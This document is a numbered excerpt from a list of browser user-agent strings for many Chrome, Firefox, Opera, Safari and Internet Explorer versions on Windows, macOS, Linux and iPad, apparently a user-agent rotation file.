Chrome/24.0.1309.0 Safari/537.17 94 | Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)) 95 | Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0 96 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36 97 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57) 98 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 99 | Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14 100 | Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 101 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F 102 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1 103 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; ar) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 104 | Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 105 | Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.7.62 Version/11.01 106 | Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 107 | Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 108 | Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 109 | Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0 110 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/13.0.782.215) 111 | Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.7.62 Version/11.01 112 | Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00 113 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0 114 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36 115 | Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1) 116 | Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0 117 | Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 118 | Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) 119 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) 120 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 121 | Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/19.0 122 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ko-kr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 123 | Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0 124 | Mozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 125 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) 126 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 127 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36 128 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 129 | Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322) 130 | Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 131 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14 132 | Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 133 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 134 | Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 135 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 136 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 137 | Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0) 138 | Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 139 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 140 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 141 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36 142 | Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0 143 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0 144 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A 145 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 146 | Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 147 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 148 | Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/18.0.1 149 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0 150 | Mozilla/5.0 (Windows; U; Windows NT 6.1; fr-FR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 151 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 152 | Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) 153 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 154 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01 155 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36 156 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0 157 | Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0 158 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 159 | Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0 160 | Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 161 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN) 162 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 163 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-ch) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 164 | Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 165 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 166 | Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) 167 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 168 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0 169 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 170 | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 171 | Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322) 172 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 173 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 174 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 175 | Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36 176 | Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 177 | Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3 178 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36 179 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko/20131011 Firefox/23.0 180 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) 181 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 182 | --------------------------------------------------------------------------------